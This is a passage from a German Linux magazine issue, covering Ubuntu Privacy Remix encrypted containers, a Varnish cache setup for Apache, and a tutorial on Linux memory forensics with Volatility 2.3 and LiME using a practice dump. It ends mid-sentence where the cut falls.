Nutzer in der Zeile »Container‐Datei«<br />

auf »Suchen« und wählt den USB-Stick<br />

aus, der den Container aufnehmen soll.<br />

Dessen Größe hängt vom Platz auf dem<br />

Stick ab, der Benutzer sollte sie großzügig<br />

wählen, weil hier alle Dateien landen, die<br />

er von UPR speichern möchte.<br />

Nach der Auswahl eines Namens sowie<br />

einer Passwortfestlegung (20 Zeichen)<br />

muss der Nutzer noch eine Minute lang<br />

mit Mausbewegungen Zufallszahlen erzeugen,<br />

um dann auf »Generieren« zu klicken<br />

und die Erfolgsmeldung abzuwarten.<br />

Das Passwort sollte sehr sicher sein,<br />

da Ubuntu Privacy Remix es verschlüsselt<br />

auf dem USB-Stick ablegt.<br />

Um den erweiterten Container zu nutzen,<br />

ruft der Anwender den Dateimanager<br />

auf, klickt den Container mit der<br />

rechten Maustaste an und wählt »True-<br />

Crypt‐Container | Öffnen«. Nach Eingabe<br />

des Passworts erscheint der Container<br />

einsatzbereit auf dem Desktop.<br />

Doch nicht nur das:<br />

Automatisch legt UPR<br />

auch die Konfigurationen<br />

diverser Programme<br />

über Links<br />

aus dem Homeverzeichnis<br />

in dem Container<br />

ab. So lassen<br />

sich Libre Office &<br />

Co. einrichten, ohne<br />

die User-Einstellungen<br />

ständig wieder zu<br />

verlieren. Voraussetzung<br />

ist, dass der Anwender<br />

den Container<br />

vor dem Start der Programme öffnet. Um<br />

den Container vor dem Herunterfahren<br />

auszuhängen, genügt ein Rechtsklick<br />

auf das Desktop-Icon mit der Auswahl<br />

»Truecrypt‐Container | Aushängen«.<br />

Einsame Insel<br />

Ubuntu Privacy Remix<br />

Auf der DELUG-DVD dieses <strong>Magazin</strong>s<br />

finden Sie ein 1,2 GByte großes Image<br />

DELUG-DVD<br />

der ersten Betaversion von Ubuntu Privacy Remix<br />

12.04r1, einem Ubuntu-Derivat mit Fokus<br />

auf Privatsphäre. Der Artikel beschreibt, wie<br />

sich mit dem Image arbeiten lässt.<br />

Abbildung 2: Im Bootmenü lässt sich die Sprache von UPR ändern, die<br />

»godmode«-Option verschafft dem Nutzer Rootrechte.<br />

Ubuntu Privacy Remix ist die einsame<br />

Insel unter den Distributionen. Isoliert<br />

von der Außenwelt ist sie vor Angriffen<br />

gut geschützt, aber im Privatbereich<br />

auf Dauer nur für Robinsons geeignet.<br />

Ist die fehlende Festplatte aufgrund der<br />

verschlüsselten USB-Lösung noch zu verschmerzen,<br />

erschwert der fehlende Internetzugang<br />

eine normale Kommunikation<br />

mit der Außenwelt doch stark.<br />

Eine Lösung besteht darin, einen weiteren<br />

USB-Stick zu nutzen, auf dem ein<br />

Live-System mit Internetzugang läuft,<br />

oder gleich einen zweiten Rechner. Für<br />

die Vorgängerversion 10.04r3 von UPR<br />

gibt es eine Dualboot-DVD, die zum anonymen<br />

Surfen die Tor-Distribution Tails<br />

anbietet, was eine Teillösung ist.<br />

Die eher kleine Gruppe von Menschen,<br />

die sensible Daten verwaltet, ohne dafür<br />

eine besondere Software oder das<br />

Internet zu benötigen, dürfte mit UPR<br />

hingegen gut bedient sein. Etwa der anfangs<br />

erwähnte Security-Forscher Bruce<br />

Schneier, der eine ähnliche Lösung verwendet<br />

[1]: „Wenn ich eine Datei transferieren<br />

möchte, verschlüssele ich sie auf<br />

dem sicheren Rechner und bringe sie auf<br />

meinem USB-Stick auf meinen Rechner<br />

mit Internetzugang.“ Bewaffnet mit zwei<br />

USB-Sticks macht es keinen Unterschied,<br />

auf welchem Rechner der Nutzer arbeitet.<br />

Verseuchte Dokumente lassen sich<br />

gelassen betrachten, weil die Malware<br />

nicht auf die Festplatte kommt.<br />

Auch für kleinere Firmen könnte sich<br />

der Einsatz von UPR lohnen, wenn sie<br />

keine spezielle Software benötigen und<br />

die Programme keine Datensätze aus einem<br />

CRM oder einer Groupware ziehen,<br />

wie es in Firmen häufig geschieht. Kundendatensätze<br />

inklusive Kreditkarteninformationen<br />

werden heute zwar über das<br />

Internet eingesammelt, ließen sich dann<br />

aber splitten: Die sensiblen Daten müsste<br />

ein Rechner ohne Internetanschluss sicher<br />

verwalten, während die Daten zur<br />

Kommunikation auf Rechnern und Servern<br />

mit Netzwerkzugriff blieben. Auch<br />

Abrechnungen, betriebliche Kostenrechnungen<br />

oder Strategieplanungen ließen<br />

sich auf so einem Rechner verwalten. n<br />

Infos<br />

[1] Bruce Schneier: [http:// www. theguardian.​<br />

com/ world/ 2013/ sep/ 05/ nsa‐how‐to<br />

‐remain‐secure‐surveillance]<br />

[2] Ubuntu Privacy Remix:<br />

[https:// www. privacy‐cd. org]<br />

[3] Truecrypt: [http:// www. truecrypt. org]<br />

[4] UPR selbst mastern:<br />

[https:// www. privacy‐cd. org/ de/​<br />

anleitungen/ demo‐content‐mainmenu‐56]<br />

[5] Tails: [https:// tails. boum. org]<br />

[6] Download von UPR:<br />

[https:// www. privacy‐cd. org/ de/​<br />

upr‐auf‐launchpad/ download]


Aus dem Alltag eines Sysadmin: Varnish<br />

Slow Food<br />

Einführung 11/2013<br />

Sysadmin<br />

Sysadmin-Kolumnist Charly hat in diesem Monat den Salat und lässt deswegen ein angebotenes Steak zurückgehen.<br />

Alles klar? Herr Kühnast und ein tattriger Häuptling bitten zu Tisch. Charly Kühnast<br />

Inhalt<br />

68 Volatility 2.3<br />

Der Memory-Dump-Analyzer liefert<br />

forensische Informationen aus <strong>Linux</strong>-<br />

Systemen.<br />

74 Open Nebula erweitern<br />

Wie Virtualisierungsanwender eigene<br />

Shellskripte an Hooks einklicken.<br />

„Salat schmeckt wesentlich besser, wenn<br />

man ihn kurz vor dem Verzehr durch<br />

ein saftiges Steak ersetzt“ – solche Substitutionssprüche<br />

sterben trotz ihres homöopathischen<br />

Komikgehalts nicht aus.<br />

Auch Admins bekommen derart gestaltete<br />

Tipps: „Apache liefert statische Inhalte<br />

wesentlich schneller aus, wenn man ihn<br />

kurz vor dem Start durch Nginx ersetzt“.<br />

Der Spruch mag Vegetarier nicht mehr<br />

erregen, versetzt aber die Augen mancher<br />

Serveradmins in Kreisbewegung. Auch<br />

meine.<br />

Ich soll nämlich gerade einen Apache 2.2,<br />

der fast nur statischen Content auswirft,<br />

auf Maximalleistung trimmen. Aus mehreren<br />

Gründen darf ich dabei den alten<br />

Indianer nicht in die Wüste schicken, der<br />

zwar der unangefochtene Häuptling der<br />

Flexibilität ist, aber in Sachen Performance<br />

die Verfolgung seiner Widersache gar<br />

nicht mehr aufzunehmen braucht.<br />

Aber wenn ich dem Apachen nicht den<br />

Garaus machen darf, möchte ich ihn zumindest<br />

auf ein flotteres Pferd setzen,<br />

Abbildung 1: Als reiner Apache-Beschleuniger reicht<br />

Vanish eine derartig simple Konfiguration.<br />

etwa durch einen flotten Cache wie Varnish<br />

[1]. Die Macher des Tools haben<br />

es von Grund auf als Caching-Instanz<br />

konzipiert, entsprechend mächtig fällt es<br />

aus. Ich könnte in der eigens dafür vorgesehenen<br />

Varnish Cache Language (VCL)<br />

komplexe Regelwerke entwerfen, für das<br />

Puffern statischer <strong>Web</strong>seiten reicht mir<br />

aber schon eine schlanke Konfiguration.<br />

Zunächst baue ich den Apache per »NameVirtualHost«<br />

und »Listen« so um, dass<br />

er künftig auf Port 8080 statt Port 80<br />

lauscht, denn den soll Varnish übernehmen.<br />

Sein Cache wird dann Inhalte direkt<br />

an den Client weiterreichen.<br />

Die meisten Distributionen haben Varnish<br />

an Bord. Debian und seine Derivate<br />

konfigurieren Varnish über die Datei »/<br />

etc/default/varnish«, Red Hat und Verwandte<br />

in »/etc/sysconfig/varnish«. Ich<br />

muss hier lediglich die Kommandozeilenparameter<br />

für den Startaufruf anpassen<br />

(»DAEMON_OPTS«). Abbildung 1 zeigt<br />

die Konfiguration, die ich für meinen<br />

Apache-Beschleuniger benutze. Mit »‐a<br />

:80« lege ich fest, dass Varnish auf allen<br />

IPv4- und IPv6-Adressen des Systems<br />

Verbindungen zu Port 80 entgegennimmt.<br />

Der Parameter »‐b« verrät Varnish, wo der<br />

Apache sein Zelt aufgeschlagen hat.<br />

Ein laufender Varnish lässt sich über ein<br />

Telnet-Interface steuern, dessen Adresse<br />

und Port ich mit »‐T« angebe. Wegen der<br />

Sicherheit öffne ich den Port nur auf »localhost«,<br />

außerdem muss ich das Secret<br />

kennen, das in der Datei nach dem Parameter<br />

»‐S« abgelegt ist. Hinter »‐u« und<br />

»‐g« verbergen sich erwartungsgemäß Benutzername<br />

und Gruppenzugehörigkeit.<br />

Cache and Carry<br />

Für die Performance ist die letzte Zeile<br />

mit dem Parameter »‐s« die wichtigste,<br />

denn sie steuert Art und Größe des<br />

Caches. Den Cache kann ich im RAM<br />

oder auf einer Plattenpartition anlegen.<br />

Gebe ich hier<br />

file, /var/cache/varnish.cache,50%<br />

an, so benutzt Varnish den unter »/var/<br />

cache« bereitstehenden Plattenspeicher<br />

bis zur Hälfte. Dabei belegt das Tool den<br />

Platz nicht sofort, sondern die Cachedatei<br />

wächst erst nach und nach.<br />

Kalte Platte<br />

Allerdings sollte niemand von einem Plattencache<br />

Wunder erwarten. Mein Ser ver<br />

ver fügt zum Glück über 16 GByte RAM:<br />

Apache und Varnish nehmen sich davon<br />

ein Stückchen, aber 10 GByte darf ich dem<br />

Cache locker überantworten. Wäre ich zu<br />

knauserig, weicht Varnish ins Swap aus,<br />

und der Geschwindigkeitsvorteil ist hin.<br />

Ergo: »‐s malloc,10g«, und der alte Indianer<br />

galoppiert wie ein junger. (jk) n<br />

Infos<br />

[1] Varnish: [http:// www. varnish‐cache. org]<br />

Der Autor<br />

Charly Kühnast administriert<br />

Unix-Syste me im Rechenzentrum<br />

Niederrhein. Zu seinen<br />

Aufgaben gehören Sicherheit<br />

und Verfügbarkeit der<br />

Firewalls und der DMZ.<br />

© ginasanders, 123RF.com<br />

www.linux-magazin.de<br />

67


Sysadmin<br />

www.linux-magazin.de Volatility 2.3 11/2013<br />

68<br />

Der Memory-Dump-Analyzer Volatility liefert Informationen aus <strong>Linux</strong>-Systemen<br />

Flüchtige Spuren<br />

Spurensuche im RAM, das ist die Domäne von Volatility. Das Forensiker-Werkzeug hilft Admins dabei, zu analysieren,<br />

was auf einem System schiefgelaufen ist. Für Rückschlüsse auf Malware, laufende oder gar kompromittierte<br />

Dienste reicht ihm meist ein Abbild des Arbeitsspeichers. Markus Feilner, Hans-Peter Merkel<br />

platte einen Totalschaden hatte oder ein<br />

gerissener Einbrecher seine Spuren zwar<br />

nicht auf der Disk, doch vielleicht im<br />

laufenden System hinterlassen hat.<br />

Üben für den Ernstfall<br />

© spleen87, photocase.com<br />

Dass Informationen aus dem Arbeitsspeicher<br />

eines Rechners auch nach dem<br />

Unterbrechen der Stromversorgung noch<br />

einige Zeit erhalten bleiben, ist ein offenes<br />

Geheimnis [1]. Einfacher noch liegt<br />

der Fall beim Betätigen des Reset-Buttons,<br />

weil bei diesem ja die Spannung<br />

nicht einmal unterbricht. Wer dann beim<br />

Reboot ein minimales Betriebssystem –<br />

etwa per USB-Stick – heranzieht, dem<br />

stehen große Teile des Arbeitsspeichers<br />

noch unverändert zur Verfügung, fast so,<br />

als hätte er Vollzugriff auf das vorher<br />

laufende System.<br />

Strings und Grep<br />

Jetzt ließe sich schon mit <strong>Linux</strong>-Bordmitteln<br />

wie Strings und Grep einiges herausfinden,<br />

doch mit einem ausgewachsenen<br />

Memory-Dump-Analyzer wie Volatility<br />

[2] geht noch viel mehr – und das Open-<br />

Source-Projekt entwickelt sich kontinuierlich<br />

weiter.<br />

Als sich das <strong>Linux</strong>-<strong>Magazin</strong> zuletzt 2008<br />

dem Memory-Analyzer widmete, konnte<br />

das Framework nur RAM-Abbilder von<br />

Windows-Maschinen analysieren [3], als<br />

PDF auf der DELUG-DVD). Seit Version<br />

2.2 beherrscht es aber auch <strong>Linux</strong>, ab<br />

der anstehenden 2.3 sind auch Apple-<br />

Geräte und Androiden zur Auswertung<br />

freigegeben. Doch vor allem <strong>Linux</strong>-Admins<br />

dürfen sich über eine große Anzahl<br />

neuer Tools und Programme freuen, die<br />

viele Informationen aus vermeintlich toten<br />

– oder auch fremden – Maschinen<br />

extrahieren können.<br />

Volatility erweist sich primär für jene als<br />

nützlich, die herausfinden wollen oder<br />

schlimmstenfalls müssen, was ein Rechner<br />

getan hat, als beispielsweise die Fest-<br />

Tools wie Lime [4] helfen solch ein Abbild<br />

aus einem laufenden System anzufertigen,<br />

ehe vielleicht ein Reboot oder<br />

schon das Herunterfahren oder Anhalten<br />

der Maschine die Spuren verwischt. Für<br />

Admins, die den Umgang mit Volatility<br />

lernen, haben die Projektmitglieder jede<br />

Menge Memory Dumps [5] zu Übungszwecken<br />

zur Verfügung gestellt, wer eigene<br />

Images erstellen will, kann das auch<br />

mit einem USB-Stick.<br />

Wer die im Folgenden beschriebenen<br />

Schritte in Eigenregie nachvollziehen<br />

will, braucht nur drei Sachen: eine Installation<br />

einer aktuellen Volatility-Version,<br />

einen heruntergeladenen Übungsdump<br />

und ein zu seinem <strong>Linux</strong>-Kernel passendes<br />

Profil. Die Beispiele in diesem<br />

Artikel beziehen sich auf Ubuntu 13.04<br />

(die 64-Bit-Variante). Wer dagegen ein<br />

eigenes, real existierendes System unter<br />

die Lupe nehmen will, muss mit Tools<br />

wie Lime einen eigenen, individuellen<br />

Speicherabzug erstellen.<br />

Memory Dumps erstellen<br />

Einen solchen Memory Dump für Windows-Betriebssysteme<br />

zu generieren ist<br />

einfach. Meist kommen dafür Produkte<br />

DELUG-DVD<br />

Auf der DVD dieser Ausgabe finden<br />

Sie alle Tools und über 50 <strong>Linux</strong>-Kernel-<br />

DELUG-DVD<br />

Profile aus dem Artikel, dazu mehrere Images<br />

und die Software von Volatility und Lime.


wie die Helix-CD [6] zum Einsatz, die<br />

dafür diverse Programme mitbringen. Einen<br />

Memory Dump für <strong>Linux</strong> anzufertigen<br />

ist dagegen bedeutend aufwändiger:<br />

Für jede Kernelversion muss der Admin<br />

einen passenden Treiber selbst erstellen<br />

– beispielsweise auf einem identischen,<br />

virtualisierten System.<br />

Mit Empfehlung: Lime<br />

Volatility empfiehlt Lime (als ».tgz«-Datei<br />

auf [7]) zu benutzen, auch in den<br />

Tests der Autoren des <strong>Linux</strong>-<strong>Magazin</strong>s<br />

arbeitete die Toolsammlung gut. Zuerst<br />

legt der Anwender ein neues Verzeichnis<br />

an und entpackt dort die Datei<br />

»lime‐forensics‐1.1‐r17.tar.gz«. Nach<br />

dem Make-Aufruf findet er das Modul<br />

»lime‐3.2.0‐49‐generic.ko«. Die entsprechende<br />

Kernelversion lässt sich hier bereits<br />

am Dateinamen erkennen.<br />

Auf der DELUG-DVD findet der Leser<br />

über 50 von den Autoren bereitgestellte<br />

Module für zahlreiche Kernelvarianten,<br />

die sich schnell auf ein Testsystem übertragen<br />

lassen.<br />

Insmod<br />

Den Treiber lädt »insmod«, sodass der<br />

folgende Befehl einen Memory Dump in<br />

»/tmp/ubuntu1204.dump« erzeugt:<br />

insmod lime‐3.2.0‐49‐generic.koU<br />

"path=/tmp/ubuntu1204.dump format=lime"<br />

Wer Volatility bereits installiert hat, kann<br />

den Speicherabzug jetzt überprüfen:<br />

vol.py ‐f ubuntu1204.dump ‐‐profile=U<br />

<strong>Linux</strong>Ubuntu1204_3_2_0_49x64 linux_ifconfig<br />

Im Beispiel nutzt der Anwender einen der<br />

weiter unten in diesem Artikel beschriebenen<br />

Volatility-Befehle, hier »linux_ifconfig«,<br />

der die zuletzt benutzten IPs und<br />

NICs auflistet. Das Ergebnis sollte Zeilen<br />

wie die folgenden enthalten:<br />

Interface IP MAC Promiscous Mode<br />

lo 127.0.0.1 00:00:00:00:00:00 False<br />

eth0 192.168.2.2 00:00:00:00:00:00 False<br />

sit0 0.0.0.0 00:00:00:00:00:00 Falseme"<br />

Fehlerhafte Ausgaben wie »No suitable<br />

address space mapping found« oder Fehler<br />

bei dem Versuch, das Abbild zu öffnen,<br />

weisen auf ein defektes Image oder<br />

eine falsche Profildatei hin. Dann hilft es<br />

Volatility 2.3 11/2013<br />

Sysadmin<br />

www.linux-magazin.de<br />

69<br />

Listing 1: »vol.py ‐‐info | grep Win«<br />

01 Volatile Systems Volatility Framework 2.3_beta<br />

02 VistaSP0x64 ‐ A Profile for Windows Vista SP0 x64<br />

03 VistaSP0x86 ‐ A Profile for Windows Vista SP0 x86<br />

04 VistaSP1x64 ‐ A Profile for Windows Vista SP1 x64<br />

05 VistaSP1x86 ‐ A Profile for Windows Vista SP1 x86<br />

06 VistaSP2x64 ‐ A Profile for Windows Vista SP2 x64<br />

07 VistaSP2x86 ‐ A Profile for Windows Vista SP2 x86<br />

08 Win2003SP0x86 ‐ A Profile for Windows 2003 SP0 x86<br />

09 Win2003SP1x64 ‐ A Profile for Windows 2003 SP1 x64<br />

10 Win2003SP1x86 ‐ A Profile for Windows 2003 SP1 x86<br />

11 Win2003SP2x64 ‐ A Profile for Windows 2003 SP2 x64<br />

12 Win2003SP2x86 ‐ A Profile for Windows 2003 SP2 x86<br />

13 Win2008R2SP0x64 ‐ A Profile for Windows 2008 R2 SP0 x64<br />

14 Win2008R2SP1x64 ‐ A Profile for Windows 2008 R2 SP1 x64<br />

15 Win2008SP1x64 ‐ A Profile for Windows 2008 SP1 x64<br />

16 Win2008SP1x86 ‐ A Profile for Windows 2008 SP1 x86<br />

17 Win2008SP2x64 ‐ A Profile for Windows 2008 SP2 x64<br />

18 Win2008SP2x86 ‐ A Profile for Windows 2008 SP2 x86<br />

19 Win7SP0x64 ‐ A Profile for Windows 7 SP0 x64<br />

20 Win7SP0x86 ‐ A Profile for Windows 7 SP0 x86<br />

21 Win7SP1x64 ‐ A Profile for Windows 7 SP1 x64<br />

22 Win7SP1x86 ‐ A Profile for Windows 7 SP1 x86<br />

23 WinXPSP1x64 ‐ A Profile for Windows XP SP1 x64<br />

24 WinXPSP2x64 ‐ A Profile for Windows XP SP2 x64<br />

25 WinXPSP2x86 ‐ A Profile for Windows XP SP2 x86<br />

26 WinXPSP3x86 ‐ A Profile for Windows XP SP3 x86<br />

27 WindowsCrashDumpSpace32 ‐ This AS supports windows Crash Dump format<br />

28 WindowsCrashDumpSpace64 ‐ This AS supports windows Crash Dump format<br />

29 WindowsHiberFileSpace32 ‐ This is a hibernate address space for<br />

windows hibernation files.


Sysadmin<br />

www.linux-magazin.de Volatility 2.3 11/2013<br />

70<br />

vielleicht, nach Alternativen zu suchen,<br />

die es für <strong>Linux</strong> durchaus gibt.<br />

Fmem, Coldboot und<br />

Msramdump<br />

Fmem [8] beispielsweise ersetzt die<br />

noch unter Kernel 2.4 übliche Methode,<br />

mit »dd« und »/dev/mem« oder »/dev/<br />

kmem« Memory Dumps anzufertigen.<br />

Optimale Zusammenarbeit mit Volatility<br />

erreicht jedoch nur Lime.<br />

Eine recht interessante Alternativmethode<br />

bietet ein Coldboot-Angriff, den<br />

Wissenschaftler der Princeton-Universität<br />

beschreiben [1]. Der McGrew-Security-<br />

RAM-Dumper Msramdump [9] nutzt die<br />

genannten Eigenschaften in Form eines<br />

bootfähigen USB-Sticks. Der enthält eine<br />

FAT-16-Partition, die per Syslinux bootet<br />

und automatisch einen Memory Dump<br />

zieht. Groß genug sollte der Stick allerdings<br />

sein, denn auf dem Datenträger<br />

landet auch noch eine zweite Partition,<br />

in die Msramdump standardmäßig die<br />

RAM-Abbilder schreibt.<br />

Eigenen USB-Stick basteln<br />

oder Image ziehen?<br />

Wer sich einen Coldboot-Stick – wie unter<br />

[9] beschrieben – nicht selbst basteln<br />

möchte, findet auch dafür ein Image<br />

auf der Heft-DVD. Eine Zusammenarbeit<br />

mit Volatility darf da allerdings niemand<br />

erwarten, doch immerhin funktioniert<br />

auch hier die traditionelle Auswertung<br />

Listing 2: »vol.py --info | grep <strong>Linux</strong>«<br />

01 Volatile Systems Volatility Framework 2.3_beta<br />

02 <strong>Linux</strong>Debian5_26x86 ‐ A Profile for <strong>Linux</strong> Debian5_26 x86<br />

03 <strong>Linux</strong>Evo4GARM ‐ A Profile for <strong>Linux</strong> Evo4G ARM<br />

04 <strong>Linux</strong>Ubuntu1204_3_2_0_23x64 ‐ A Profile for <strong>Linux</strong> Ubuntu1204_3_2_0_23 x64<br />

05 <strong>Linux</strong>Ubuntu1204_3_2_0_32x64 ‐ A Profile for <strong>Linux</strong> Ubuntu1204_3_2_0_32 x64<br />

06 <strong>Linux</strong>Ubuntu1204x64 ‐ A Profile for <strong>Linux</strong> Ubuntu1204 x64<br />

07 <strong>Linux</strong>Ubuntu1304_3_8_0_25x64 ‐ A Profile for <strong>Linux</strong> Ubuntu1304_3_8_0_25 x64<br />

08 <strong>Linux</strong>dfrws‐profilex86 ‐ A Profile for <strong>Linux</strong> dfrws‐profile x86<br />

09 linux_yarascan ‐ A shell in the <strong>Linux</strong> memory image<br />

mit Unix-Tools wie Strings und Grep. Ansonsten<br />

hilft nur Lime wirklich weiter.<br />

Volatility installieren<br />

Weil Volatility offiziell immer noch im<br />

Betastadium steckt, muss der Admin zu<br />

Quellcode und Subversion greifen. Mit<br />

svn checkout http://volatility.googlecode.U<br />

com/svn/trunk Volatility<br />

installiert er das Framework aus dem<br />

Sourcecode-Repository. Möglich ist bereits<br />

hier, die Installation um zusätzliche<br />

Plugins anzureichern, Details bietet die<br />

Projektseite [10] unter dem Stichwort<br />

„Full Installation“.<br />

Ein erster Test erfolgt mit »./vol.py ‐h«.<br />

Die Meldung sollte die aktuelle Version<br />

2.3 Beta bestätigen:<br />

Volatile Systems Volatility FrameworkU<br />

2.3_beta<br />

»./vol.py ‐‐info« liefert erdrückend viele<br />

Informationen und ist sinnvollerweise<br />

vom Admin durch Grep-Befehle zu reduzieren<br />

(Listing 1). »vol.py ‐‐info | grep<br />

Win« gibt Auskunft über die Windows-<br />

Unterstützung, die die Entwickler seit<br />

dem <strong>Linux</strong>-<strong>Magazin</strong>-Artikel 2008 ebenfalls<br />

stark erweitert haben.<br />

Listing 2 zeigt die <strong>Linux</strong>-Module, doch<br />

Anwender, die folgende Beispiele in Eigenregie<br />

nachvollziehen, erleben gleich<br />

eine herbe Enttäuschung: Die meisten<br />

gelieferten Informationen sind nur wenig<br />

hilfreich. Während Volatility eine Vielzahl<br />

von Windows-Profilen mitbringt,<br />

fehlen solche für <strong>Linux</strong> komplett, der<br />

Anwender muss sie selbst erstellen. Das<br />

ist zwar kein Hexenwerk, es gilt allerdings<br />

zu bedenken, dass ein Profil nur<br />

für eine Kernel-Version oder -Architektur<br />

funktioniert. Selbst die Distribution spielt<br />

eine Rolle: Ein Profil mit Kernel 3.2.x von<br />

Debian passt auch nicht zu einem Kernel<br />

3.2.x von Ubuntu.<br />

Als dieser Artikel entstand, hatte beispielsweise<br />

Ubuntu 12.04 LTS bereits 24<br />

Kernelversionen ausgeliefert. Da hat die<br />

<strong>Linux</strong>-Vielfalt auch mal einige Nachteile.<br />

Damit wird klar, warum professionelle<br />

Volatility-Anwender virtuelle Systeme mit<br />

einer Vielzahl von Kernelversionen bereithalten,<br />

um im Einsatzfall schnell ein<br />

Profil parat zu haben. Ein guter Anfang<br />

ist das Paket auf der DELUG-DVD.<br />

Liegt lediglich ein Memory-Dump vor,<br />

ohne dass die entsprechende Kernelversion<br />

bekannt ist, so reicht ein Strings-Befehl<br />

im Dump mit einem Grep nach dem<br />

Begriff »vmlinuz«. Schnell ist die passende<br />

Kernelversion gefunden, in einem<br />

virtuellen System erstellt der Anwender<br />

dann das Profil.<br />

Debugging-Profile und<br />

-Standards für Zwerge<br />

Ein Profil besteht aus den beiden Dateien<br />

»System.map‐Kernelversion« und »modules.dwarf«.<br />

Während die erste meist<br />

schon im »/boot«-Verzeichnis vorliegt,<br />

muss der Admin die zweite selbst erzeugen.<br />

Dazu benutzt er das Programm<br />

»dwarfdump« aus gängigen Repositories.<br />

Mehr Informationen über das Dwarf-<br />

Debugging-File-Format beziehungsweise<br />

den Dwarf-Debugging-Standard Dwarfstd<br />

gibt dessen <strong>Web</strong>seite [11].<br />

Im Verzeichnis »volatility/tools/linux«<br />

finden sich alle Dateien, um »modules.<br />

dwarf« zu erstellen. Ein Aufruf von Make<br />

in diesem Verzeichnis erzeugt die Datei,<br />

die der Admin zusammen mit der<br />

Listing 3: Zweimal Strings im Einsatz<br />

01 strings victoria‐v8.memdump.img | grep vmlinuz<br />

02 # kernel /vmlinuz root=/dev/hda2 ro<br />

03 kernel /boot/vmlinuz‐2.6.26‐2‐686 root=/dev/sda1 ro<br />

04 kernel /boot/vmlinuz‐2.6.26‐2‐686 root=/dev/sda1 ro single<br />

05 kernel /vmlinuz root=/dev/hdb1<br />

06 # kernel /vmlinuz root=/dev/hda2 ro<br />

07 kernel /boot/vmlinuz‐2.6.26‐2‐686 root=/dev/sda1 ro quiet<br />

08 kernel /boot/vmlinuz‐2.6.26‐2‐686 root=/dev/sda1 ro single<br />

09 <br />

10 strings victoria‐v8.memdump.img | grep 2.6.26‐2‐686 | grep ‐i title<br />

11 title Debian GNU/<strong>Linux</strong>, kernel 2.6.26‐2‐686<br />

12 title Debian GNU/<strong>Linux</strong>, kernel 2.6.26‐2‐686 (single‐user mode)<br />

13 title Debian GNU/<strong>Linux</strong>, kernel 2.6.26‐2‐686<br />

14 title Debian GNU/<strong>Linux</strong>, kernel 2.6.26‐2‐686 (single‐user mode)


Der im Folgenden verwendete infizierte<br />

Memory Dump stammt aus dem Honeynet-2001-Projekt<br />

[12]. Das Image selbst<br />

ist ebenfalls als Download verfügbar<br />

und hört auf den Namen »victoria‐v8.<br />

memdump.img.zip«. Die Wahrscheinlichkeit,<br />

dass so ein Image auf Übungsrechnern<br />

ganz einfach mit Volatilitys<br />

Kernelmodulen funktioniert, ist nach<br />

den beschriebenen Anforderungen recht<br />

gering. Deshalb analysiert das folgende<br />

Beispiel das Image, um mehr Informationen<br />

über den eingesetzten Kernel zu<br />

erhalten (Listing 3), und findet den recht<br />

betagten Debian-Kernel 2.6.26-2.<br />

Ein virtuelles Debian mit Kernel 2.6.26-<br />

2-686 installieren, um mit den zuvor<br />

genannten Schritten eine Profildatei zu<br />

erstellen, wäre jetzt die nächste Aufgabe.<br />

DELUG-Leser sparen sich die Arbeit und<br />

greifen direkt auf die passende Profildatei<br />

auf der Heft-DVD zu. Wie oben beschrieben,<br />

landet das File im Verzeichnis »volatility/plugins/overlays/linux«.<br />

Volatility 2.3 11/2013<br />

Sysadmin<br />

www.linux-magazin.de<br />

71<br />

Testen<br />

Abbildung 1: Ein Grep nach »<strong>Linux</strong>« zeigt Profile, ein Grep auf »linux« listet die Volatility-Befehle.<br />

System-Map aus dem laufenden System<br />

nun per Zip komprimiert:<br />

zip Ubuntu1304_3_8_0_26.zip modules.dwarfU<br />

/boot/System.map‐3.8.0‐26‐generic<br />

Der Name des Zip-File spielt hier keine<br />

Rolle, eine passende Benennung hilft<br />

aber bei späteren Arbeitsschritten bei der<br />

Auswahl des Profils. Damit Volatility das<br />

Zip-File bei der Profilauswahl erkennt,<br />

kopiert der Admin es nach »volatility/<br />

plugins/overlays/linux«. Ab sofort sollte<br />

»./vol.py ‐‐info | grep <strong>Linux</strong>« auch das gewünschte,<br />

neu erstellte Profil anzeigen.<br />

Dumps<br />

Ob alles funktioniert, lässt sich mit einem<br />

einfachen Befehl überprüfen, der<br />

Auskunft über die installierte CPU des<br />

kompromittierten Systems gibt (Listing<br />

4). Für eine Information, die aus dem<br />

Memory Dump eines Systems stammt,<br />

Listing 4: »vol.py ‐‐profile«<br />

01 #vol.py ‐f victoria‐v8.memdump.img ‐‐profile<br />

02 <br />

<strong>Linux</strong>Debian5_26x86 linux_cpuinfo<br />

03 Volatile Systems Volatility Framework 2.3_beta<br />

04 Processor Vendor Model<br />

05 ‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐ ‐‐‐‐‐<br />

06 0 GenuineIntel Intel(R) Core(TM)2 CPU T7200 @ 2.00GHz


Sysadmin<br />

www.linux-magazin.de Volatility 2.3 11/2013<br />

72<br />

von dem weder die Hardware noch die<br />

Festplatte vorliegt, ist das ein recht beachtliches<br />

Ergebnis. »‐f« übergibt dabei<br />

den Namen des Memory Dump an Volatility,<br />

»‐‐profile <strong>Linux</strong>Debian5_26x86« legt<br />

die passende Profildatei fest und »linux_<br />

cpuinfo« ist der eigentliche Befehl.<br />

Um die etwas lang geratenen Kommandozeilen<br />

für die anstehenden Arbeiten<br />

zu vereinfachen, stellt Volatility Exportvariablen<br />

bereit:<br />

export VOLATILITY_PROFILE=<strong>Linux</strong>Debian5_26x86<br />

export VOLATILITY_LOCATION=file:///tmp/U<br />

victoria‐v8.memdump.img<br />

So bleibt die Kommandozeile übersichtlich<br />

und kurz: »./vol.py linux_cpuinfo«.<br />

Alle <strong>Linux</strong>-spezifischen Befehle beginnen<br />

mit »linux_«, Grep-Kommandos liefern<br />

über Pipes weitere Aufschlüsse (Abbildung<br />

1). Listing 5 bietet eine Auswahl<br />

der interessantesten Kommandos von<br />

Mounts über Netzwerkbefehle bis hin zu<br />

offenen Ports und Bash-History.<br />

Ein fremder Exim-Server<br />

und Netcat-Verbindungen<br />

Wie Listing 5 und Abbildung 2 zeigen,<br />

hat im Demo-System ein lokaler Angreifer<br />

die installierte Exim4-Version deinstalliert<br />

und gegen eine andere ausgetauscht, die<br />

nicht aus dem Repository stammt. Die gefundene<br />

Netcat-Verbindung hat er wohl<br />

benutzt, um die Partition »/dev/sda1«<br />

und den Inhalt des Arbeitsspeichers zu<br />

übertragen.<br />

Jetzt wären die Logfiles des Mailservers<br />

für die weitere Auswertung aussagekräftig.<br />

Doch leider ließen sich die nicht aus<br />

dem Arbeitsspeicher rekonstruieren.<br />

Beim Honeynet-2011-Fall liegt aber zusätzlich<br />

zum Memory Dump auch die<br />

